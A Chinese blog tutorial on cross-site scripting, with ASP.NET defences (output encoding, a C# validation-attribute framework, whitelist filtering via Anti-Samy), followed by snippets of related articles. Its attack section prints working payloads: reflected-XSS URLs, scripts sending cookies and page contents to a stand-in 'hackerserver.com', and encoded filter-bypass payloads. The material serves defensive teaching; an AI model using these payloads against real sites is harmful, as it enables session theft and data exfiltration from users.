关于Web安全的那些事(XSS攻击)

概述

XSS攻击是Web攻击中最常见的攻击方法之一,它是通过对网页注入可执行代码且成功地被浏览器执行,达到攻击的目的,形成了一次有效XSS攻击,一旦攻击成功,它可以获取用户的联系人列表,然后向联系人发送虚假诈骗信息,可以删除用户的日志等等,有时候还和其他攻击方式同时实施比如SQL注入攻击服务器和数据库、Click劫持、相对链接劫持等实施钓鱼,它带来的危害是巨大的,是web安全的头号大敌。

攻击的条件

实施XSS攻击需要具备两个条件:

一、需要向web页面注入恶意代码;

二、这些恶意代码能够被浏览器成功的执行。

看一下下面这个例子:

<div id="el" style="background:url(‘javascript:eval(document.getElementById("el").getAttribute("code")) ‘)"

        code="var a = document.createElement(‘a‘);

        a.innerHTML= ‘执行了恶意代码‘;document.body.appendChild(a);

        //这这里执行代码

        "></div>

这段代码在旧版的IE8和IE8以下的版本都是可以被执行的,火狐也能执行代码,但火狐对其禁止访问DOM对象,所以在火狐下执行将会看到控制里抛出异常:document is not defined (document是没有定义的)

再来看一下面这段代码:

  <div>

    <img src="/images/handler.ashx?id=<%= Request.QueryString["id"] %>" />

    </div>

相信很多程序员都觉得这个代码很正常,其实这个代码就存在一个反射型的XSS攻击,假如输入下面的地址:

http://www.xxx.com/?id=" /><script>alert(/xss/)</script><br x="

最终反射出来的HTML代码:

<div>

<img src="/images/handler.ashx?id=" /><script>alert(/xss/)</script><br x="" />
    </div>

也许您会觉得把ValidateRequest设置为true或者保持默认值就能高枕无忧了,其实这种情况还可以输入下面的地址达到相同的攻击效果:

http://www.xxx.com/?id=xx" onerror="this.onload()"
x="

根据XSS攻击的效果可以分为几种类型

第一、XSS反射型攻击,恶意代码并没有保存在目标网站,通过引诱用户点击一个链接到目标网站的恶意链接来实施攻击的。

第二、XSS存储型攻击,恶意代码被保存到目标网站的服务器中,这种攻击具有较强的稳定性和持久性,比较常见场景是在博客,论坛等社交网站上,但OA系统,和CRM系统上也能看到它身影,比如:某CRM系统的客户投诉功能上存在XSS存储型漏洞,黑客提交了恶意攻击代码,当系统管理员查看投诉信息时恶意代码执行,窃取了客户的资料,然而管理员毫不知情,这就是典型的XSS存储型攻击。

XSS攻击能做些什么

1.窃取cookies,读取目标网站的cookie发送到黑客的服务器上,如下面的代码:

 var i=document.createElement("img");
 document.body.appendChild(i);
 i.src = "http://www.hackerserver.com/?c=" + document.cookie;

2.读取用户未公开的资料,如果:邮件列表或者内容、系统的客户资料,联系人列表等等,如代码:

<!--读取当前页面的内容提交到黑客服务器上进行分析-->

var h = "<form name=‘f‘ action=‘http://www.hackerserver.com‘ method=‘POST‘ target=‘hidfrm‘><input name=‘data‘ type=‘text‘ /></form><iframe name=hidfrm></iframe>"

        var e = document.createElement("div");

        document.documentElement.appendChild(e);

        e.style.display = "none";

        e.innerHTML = h;

        var frm = document.forms["f"];

        frm.data.value = document.documentElement.innerHTML;

        frm.submit();

<!--读取当前页面的内容提交到黑客服务器上进行分析-->

var xhr = new XMLHttpRequest();

        xhr.open("POST or GET","/目标网站其他页面的URL(如获取邮箱列表的地址)");

        xhr.onreadystatechange = function (e) {

            if (xhr.readyState == 4) {

                var h = "<form name=‘f‘ action=‘http://www.hackerserver.com‘ method=‘POST‘ target=‘hidfrm‘><input name=‘data‘ type=‘text‘ /></form><iframe name=hidfrm></iframe>"

                var e = document.createElement("div");

                document.documentElement.appendChild(e);

                e.style.display = "none";

                e.innerHTML = h;

                var frm = document.forms["f"];

                frm.data.value = xhr.responseText;

                frm.submit();

            }

        }

        xhr.send(null);

3.前面两个是读的操作,其实还可进行写的操作,比如说:删除用户的博客,转发指定的微博,向用户的联系人发送带有恶意代码的信息,进行下一步的传播,如下面代码:

var xhr = new XMLHttpRequest();

xhr.open("POST", "目标网站的执行页面");

xhr.send(param);

当然XSS攻击方法远不止这些,黑客有很多天马行空的方法,只要是读和写的操作,那么我们有什么防御的方法呢?

XSS攻击防御

一、输出检查

根据XSS攻击的条件,我们可以对用户输出进行检查,使用系统的安全函数进行转义将数据和代码分开,asp.net的安全函数可以参考http://msdn.microsoft.com/en-us/library/system.web.httputility.aspx,根据不同的场景使用正确的安全函数,否则效果适得其反,如果下面例子:

<a href="#" onclick="javascript:var name=‘<%= HttpUtility.HtmlAttributeEncode(Request.QueryString["n"]) %>‘;alert(name);">hahaha...</a>

这个例子在HTML标签的属性内输出使用HttpUtility.HtmlAttributeEncode函数进行转义看似合情合理,但这个是特殊的属性,它被解析为元素的事件,这类型的属性在某特定条件下触发事件并执行里面的代码,如本例当用户点击这个链接是会执行里面的代码。

比如输入:http://www.a.com/text.aspx?n=‘;alert(/xss/);//

经过HttpUtility.HtmlAttributeEncode函数转义后,输出:

<a href="#" onclick="javascript:var name=‘';alert(/xss/);//‘;alert(name);">hahaha...</a>

点击标签将会弹出“/xss/” 而不是“‘;alert(/xss/);//” 注意:“‘”被转义为“'”即是HTML的一个实体,最终还是被解析为"‘"字符,所以脚步被成功注入。

正确的做法应该是使用JavaScriptStringEncode函数或者 JavaScriptStringEncode和HtmlAttributeEncode函数:

<a href="#" onclick="javascript:var name=‘<%= HttpUtility.HtmlAttributeEncode(HttpUtility.JavaScriptStringEncode(Request.QueryString["n"])) %>‘;alert(name);">hahaha...</a>

二、输入检查

通常用于检测用户输入的数据是否符合预期的格式,比如日期格式,Email格式,电话号码格式等等;输入检查必须在服务端进行;当然为了提高用户体验和减轻服务端的资源客户端也要进行一次检查,但服务端检查始终是必须的,有个别程序员却调过来了认为客户端检查是必须的,服务端检查是可选的,其实这是错误的逻辑,因为客户端很容易被黑客绕过。

1.使用ASP.NET Mvc的属性特性进行验证:

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.ComponentModel.DataAnnotations;
using System.Linq;
using System.Web;

namespace MvcApplication1.Models
{

    public class Item
    {
        [Key]
        [Display(Name="项目ID")]
        public int ID { get; set; }
        [EmailAddress(ErrorMessage="电子邮箱错误")]
        [Required]
        [DisplayName("电子邮箱")]
        public string Email { get; set; }

    }
}

2.当然也可以自己实现自定义验证的特性,如下面代码:

    [Serializable]
    [AttributeUsage(AttributeTargets.Property, Inherited = true, AllowMultiple = false)]
    public class FormValidationAttribute : Attribute, IProperty
    {
        /////// <summary>
        /////// 错误信息
        /////// </summary>
        ////public string ErrorMessage { get; set; }
        /// <summary>
        /// 必需的
        /// </summary>
        public bool Required { get; set; }
        /// <summary>
        /// 电子邮件格式
        /// </summary>
        public bool IsEmailFormat { get; set; }
        /// <summary>
        /// 电话号码
        /// </summary>
        public bool IsTelephoneNumber { get; set; }
        /// <summary>
        /// 是中文名或者英文名称,中文少于2个字符,英文不少于3个字符
        /// </summary>
        public bool IsChineseNameOrEnglishName { get; set; }
        /// <summary>
        /// 正则表达式
        /// </summary>
        public string RegularExpression { get; set; }
        public RegexOptions RegexOptions { get; set; }
        /// <summary>
        /// 最大的长度
        /// </summary>
        public int MaxLength { get; set; }

        public PropertyInfo Property
        {get;set;}
    }

应用到属性上

    public class Item
    {
        [FormValidation(MaxLength=200)]
        public string Name{ get; set; }
        [FormValidation(IsTelephoneNumber = true)]
        public string Mobile{ get; set; }
        [FormValidation(IsEmailFormat= true,Required=true)]
        public string Email { get; set; }

      }

写个扩展方法通过反射类型进行验证对象的属性是否有效:

    public class FormValidationException : Exception {
        public FormValidationException(PropertyInfo field)
            : this(field, null)
        {

        }
        public FormValidationException(PropertyInfo field, string message)
            : base(message)
        {
            Property = field;
            Field = field.Name;
        }
        public string Field { get; private set; }
        public PropertyInfo Property { get; private set; }
        public override string Message
        {
            get
            {
                string msg = base.Message;
                if (!string.IsNullOrWhiteSpace(Field))
                {
                    if (string.IsNullOrWhiteSpace(msg)) { msg = Field; }
                    else { msg = string.Format("{0}({1})", msg, Field); }
                }
                return msg;

            }
        }
    }
    /// <summary>
    /// 不是必需的
    /// </summary>
    public class NotRequiredException : FormValidationException
    {
        public NotRequiredException(PropertyInfo field)
            : base(field)
        {}
        public NotRequiredException(PropertyInfo field, string message)
            : base(field, message)
        {}
    }
    /// <summary>
    /// 无效的电子邮件格式
    /// </summary>
    public class InvalidEmailFormatException : FormValidationException
    {
        public InvalidEmailFormatException(PropertyInfo field)
            : base(field)
        {}
        public InvalidEmailFormatException(PropertyInfo field, string message)
            : base(field, message)
        {}
    }
    /// <summary>
    /// 无效的电话号码
    /// </summary>
    public class InvalidTelephoneNumberFormatException : FormValidationException
    {
        public InvalidTelephoneNumberFormatException(PropertyInfo field)
            : base(field)
        {}
        public InvalidTelephoneNumberFormatException(PropertyInfo field, string message)
            : base(field, message)
        {}
    }
    /// <summary>
    /// 不是中文名或者英文名
    /// </summary>
    public class NotChineseNameOrEnglishNameException :  FormValidationException
    {
        public NotChineseNameOrEnglishNameException(PropertyInfo field)
            : base(field)
        {}
        public NotChineseNameOrEnglishNameException(PropertyInfo field, string message)
            : base(field, message)
        {}
    }
    /// <summary>
    /// 不符合正则表达式
    /// </summary>
    public class InconformityRegularExpressionException : FormValidationException
    {
        public InconformityRegularExpressionException(PropertyInfo field)
            : base(field)
        {}
        public InconformityRegularExpressionException(PropertyInfo field, string message)
            : base(field, message)
        {}
    }

    public class ValueLengthIsLengthyException : FormValidationException
    {
        public ValueLengthIsLengthyException(PropertyInfo field)
            : base(field)
        { }
        public ValueLengthIsLengthyException(PropertyInfo field, string message)
            : base(field, message)
        { }
    }
    public static class FormValidationExtendMethods
    {
        static void Validation(PropertyInfo p, string value)
        {
            var fv = p.GetAttribute<FormValidationAttribute>();
            #region 验证
            if (fv != null)
            {

                if (fv.Required && string.IsNullOrWhiteSpace(value))
                { throw new NotRequiredException(p); }
                if (!string.IsNullOrWhiteSpace(value))
                {
                    if (!string.IsNullOrWhiteSpace(fv.RegularExpression)
                        && !Regex.IsMatch(value, fv.RegularExpression, fv.RegexOptions))
                    {
                        throw new InconformityRegularExpressionException(p);
                    }
                    if (fv.IsEmailFormat && !value.IsValidEmail())
                    {
                        throw new InvalidEmailFormatException(p);
                    }
                    if (fv.IsTelephoneNumber && !value.IsTelephoneNumber())
                    { throw new InvalidTelephoneNumberFormatException(p); }
                    if (fv.IsChineseNameOrEnglishName && !value.IsChineseNameOrEnglishName())
                    {
                        throw new NotChineseNameOrEnglishNameException(p);
                    }
                    if (fv.MaxLength > 0 && value.Length > fv.MaxLength)
                    {
                        throw new ValueLengthIsLengthyException(p);
                    }
                }
            }
            #endregion

        }
        public static bool Validation(this object o,bool isThrow=true) {
            bool err=false;
            Type t = o.GetType();
            var ps = t.GetProperties();
            try
            {
                foreach (var p in ps)
                {
                    object v = null;
                    try
                    {
                        v = p.GetValue(o, null);
                    }
                    catch { }
                    Validation(p, v != null ? v.ToString() : string.Empty);
                }
            }
            catch
            {
                if (isThrow) throw;
                err = true;
            }
            return !err;
        }
        public static T GetInstance<T>(this NameValueCollection collection, bool verify = true) where T : class,new()
        {
            return collection.GetInstance<T>(new T(), verify);
        }
        public static T GetInstance<T>(this NameValueCollection collection, T instance, bool verify=true) where T : class
        {
            var ps = instance.GetType().GetProperties();
            var keys = collection.AllKeys;
            foreach (var p in ps)
            {
                bool has = false;
                string k = p.Name;
                foreach (var o in keys)
                {
                    if (string.Equals(o, k, StringComparison.InvariantCultureIgnoreCase))
                    { k = o; has = true; break; }
                }
                var value = has ? (collection[k] ?? "").Trim() : string.Empty;
                if (verify)
                {
                    Validation(p, value);
                }

                ///如果没有指定值,就保持默认值。
                if (!has) continue;
                #region 赋值
                try
                {
                    if (p.PropertyType.IsEnum)
                    {
                        p.SetValue(instance, Enum.Parse(p.PropertyType, value), null);
                    }
                    else
                    {
                        p.SetValue(instance, p.PropertyType.Equals(typeof(string)) ? value : Convert.ChangeType(value, p.PropertyType), null);
                    }
                }
                catch { }
                #endregion

            }

            return instance;
        }
        public static T GetInstance<T>(this HttpRequest request, bool verify = true) where T : class,new()
        {
            return request.GetInstance<T>(new T(), verify);
        }
        public static T GetInstance<T>(this HttpRequest request, T instance, bool verify = true) where T : class
        {
            return request.Form.GetInstance<T>(instance,verify);
        }
    }

最后使用起来就很方便了,如下面代码:

  try { Item data = Request.GetInstance<Item>(); }
  catch (FormValidationException exp) {
            //验证失败 通过FormValidationException 异常获取哪个子段没有合法。
            }

三、转换为安全的类型

类型检查或者类型转换到安全的类型,比如:int,float,枚举类型等等,如在前面一个例子中将id转换为int类型即可:

<div>

<img src="/images/handler.ashx?id=<%=  int.Parse(Request.QueryString["id"]) %>" />

</div>

四、智能过滤恶意代码

通过正确的输出检查我们能够将数据安全的输出到浏览器中,但有些时候会带来不好的用户体验,当用户通过html编辑器提交的数据:my name is <b>Jackson</b>

如果用前面的方法进行转义:  <%= HttpUtility.HtmlEncode("my name is <b>Jackson</b>") %>

那么输出结果:my name is &lt;b&gt;Jackson&lt;/b&gt;

被浏览器解析后:my name is <b>Jackson</b> 显然这个肯定不是用户想要的展示结果,所以我们要对这种富文本进行过滤,把恶意代码摘除;如一些敏感关键字:javascript、vbscript,<script>等等,那么是不是把这些关键词摘除掉就高枕无忧了呢?答案是否定的,来看一下下面的代码:

<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>

火狐浏览器解析后弹出:/xss/

 <a href=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>

        haha...

    </a>

用户点击标签后弹出:/xss/ 说明恶意代码成功注入

那么我们应该如何过滤富文本呢?在标签、属性,以及CSS等代码中,应该启用白名单策略,避免使用黑名单策略,上面的做法就是黑名单策略,白名单策略告诉系统那些是标签、属性,或者CSS是安全的,如标签:<a>、<b>、<div>、<img>;属性:id、class、alt;CSS:color:red,width:22px等等。

最后给大家推荐两个较好的XSS Filter:

Anti-Samy是OWASP上的一个开源项目,最早基于Java,现在已经扩展到.NET 2.0,3.0,3.5,目前还没有4.0以上的版本。

下载地址:http://files.cnblogs.com/Jackson-Bruce/antisamy-project-1.5.3.zip

官方下载地址:http://owaspantisamy.googlecode.com/archive/d4575adf19850f01ac6882823662d29795de532f.zip

XSSAttacksFilters是我将Anti-Samy项目重构的一个项目,仅仅保留其白名单安全策略配置文档,不过也做了细微的调整,这个项目暂时还没有支持ASP.NET4.0以下的版本。

下载地址: http://files.cnblogs.com/Jackson-Bruce/XSSAttachs.zip

(完)

时间: 2024-10-05 04:58:53

关于Web安全的那些事(XSS攻击)的相关文章

WEB安全实战(五)XSS 攻击的另外一种解决方案(推荐)

序 说到 XSS 攻击,前边已经有两篇文章在讲这个事了,这次又拿出来说,主要是针对最近工作中的一些新的问题.那么之前是怎么解决这个问题的呢?为什么又要换解决方案?下面就详细的跟大家分享一下. 旧方案 公司的测试团队发现这个问题之后,就要求尽快的解决,在网上查了很多相关的资料,也翻阅了基本安全方面的书,基于 XSS 的攻击原理,自己写了一个 Filter,并在该 Filter 中加入了对各种请求的处理代码.首先是拦截浏览器发出的请求,然后对拦截到的请求进行过滤,获取参数列表,参数值列表(包括表单提

WEB安全实战(五)XSS 攻击的第二种解决方式(推荐)

序 说到 XSS 攻击,前边已经有两篇文章在讲这个事了,这次又拿出来说,主要是针对近期工作中的一些新的问题.那么之前是怎么解决问题的呢?为什么又要换解决方式?以下就具体的跟大家分享一下. 旧方案 公司的測试团队发现这个问题之后,就要求尽快的解决,在网上查了非常多相关的资料,也翻阅了基本安全方面的书,基于 XSS 的攻击原理,自己写了一个 Filter,并在该 Filter 中增加了对各种请求的处理代码.首先是拦截浏览器发出的请求,然后对拦截到的请求进行过滤,获取參数列表,參数值列表(包含表单提交

WEB安全实战(三)XSS 攻击的防御

前言 上篇文章中提到了 XSS 攻击,而且,也从几个方面介绍了 XSS 攻击带来的严重影响.那么,这篇文章中,主要是针对 XSS 攻击做一个基本的防御,看看可以通过几种方式来修复这个特别常见的安全漏洞. 由于公司用的是 SpringMVC,因此,这次就主要基于 SpringMVC 来解决这些漏洞.当然,其实这些解决方案都是大同小异,对于什么环境来说根本无所谓.了解了原理,什么环境.什么语言都可以运用自如了.废话就不多说了,直接上解决方案. 解决方案 方案一 方案一主要是利用了 SpringMVC

360[警告]跨站脚本攻击漏洞/java web利用Filter防止XSS/Spring MVC防止XSS攻击

就以这张图片作为开篇和问题引入吧 <options>问题解决办法请参考上一篇 如何获取360站长邀请码,360网站安全站长邀请码 首先360能够提供一个这样平台去检测还是不错的.但是当体检出来 看到漏洞报告,以为360会像windows上360安全卫士一样帮我们打好补丁.但是实际发现漏洞是要自己修复,并且php和asp aspx有360提供的补丁或者解决方案(想要看这些方案之前要申请为站长但是需要邀请码 这个可以在页面 页面左下角 360主机卫士感恩卡里面领取). 进入修复方案后发现java几

使用 PHP 构建的 Web 应用如何避免 XSS 攻击

本文首先简单介绍开发测试人员如何对 Web 应用进行 XSS 漏洞测试,如何借助工具绕过客户端 JavaScript 校验输入恶意数据:然后针对使用 PHP 语言构建的 Web 站点,从在输出端对动态内容进行编码.以及在服务器端对输入进行检测两方面介绍如何避免恶意的 XSS 攻击. 使用 PHP 构建的 Web 应用如何避免 XSS 攻击 Web 2.0 的发展为网络用户的互动提供了更多机会.用户通过在论坛发表评论,或是在博客发表留言都可能有意或无意输入一些破坏性的内容,从而造成网页不能正常显示

WEB安全实战(二)带你认识 XSS 攻击

前言 上一篇文章写了关于 WEB 安全方面的实战,主要是解决 SQL 盲注的安全漏洞.这篇文章本来是要写一篇关于如何防治 XSS 攻击的,但是想来想去,还是决定先从理论上认识一下 XSS 吧.下一篇文章,再深入研究如何防治的问题. 概念 到底什么是 XSS 攻击呢?XSS 攻击,全称是"跨站点脚本攻击"(Cross Site Scripting),之所以缩写为 XSS,主要是为了和"层叠样式表"(Cascading Style Sheets,CSS)区别开,以免混淆

web 安全问题(二):XSS攻击

上文说完了CSRF攻击,本文继续研究它的兄弟XSS攻击. 什么是XSS攻击 XSS攻击的原理 XSS攻击的方法 XSS攻击防御的手段 什么是XSS攻击 XSS攻击全名(Cross-Site-Script)跨域脚本攻击,为了跟CSS(Cascading-Style-Sheet)区分开来,所以缩写是XSS. XSS攻击的原理 上一节说道的CSRF攻击是利用的是"伪请求",这一节的XSS的原理是利用脚本注入的方式. 主要是依靠一切可能的手段,将浏览器中可以执行的脚本(javascript)植

Web 安全漏洞之 XSS 攻击

什么是 XSS 攻击 XSS(Cross-Site Scripting)又称跨站脚本,XSS的重点不在于跨站点,而是在于脚本的执行.XSS是一种经常出现在 Web 应用程序中的计算机安全漏洞,是由于 Web 应用程序对用户的输入过滤不足而产生的. 常见的 XSS 攻击有三种:反射型.DOM-based 型.存储型. 其中反射型.DOM-based 型可以归类为非持久型 XSS 攻击,存储型归类为持久型 XSS 攻击. 1.反射型 反射型 XSS 一般是攻击者通过特定手法(如电子邮件),诱使用户去

web安全之XSS攻击原理及防范

阅读目录 一:什么是XSS攻击? 二:反射型XSS 三:存储型XSS 四:DOM-based型XSS 五:SQL注入 六:XSS如何防范? 1. cookie安全策略 2. X-XSS-Protection设置 3. XSS防御HTML编码 4. XSS 防御HTML Attribute编码 5. XSS防御之javascript编码 6. XSS 防御之 URL 编码 7. XSS 防御之 CSS 编码 8. 开启CSP网页安全政策防止XSS攻击 回到顶部 一:什么是XSS攻击? XSS 即(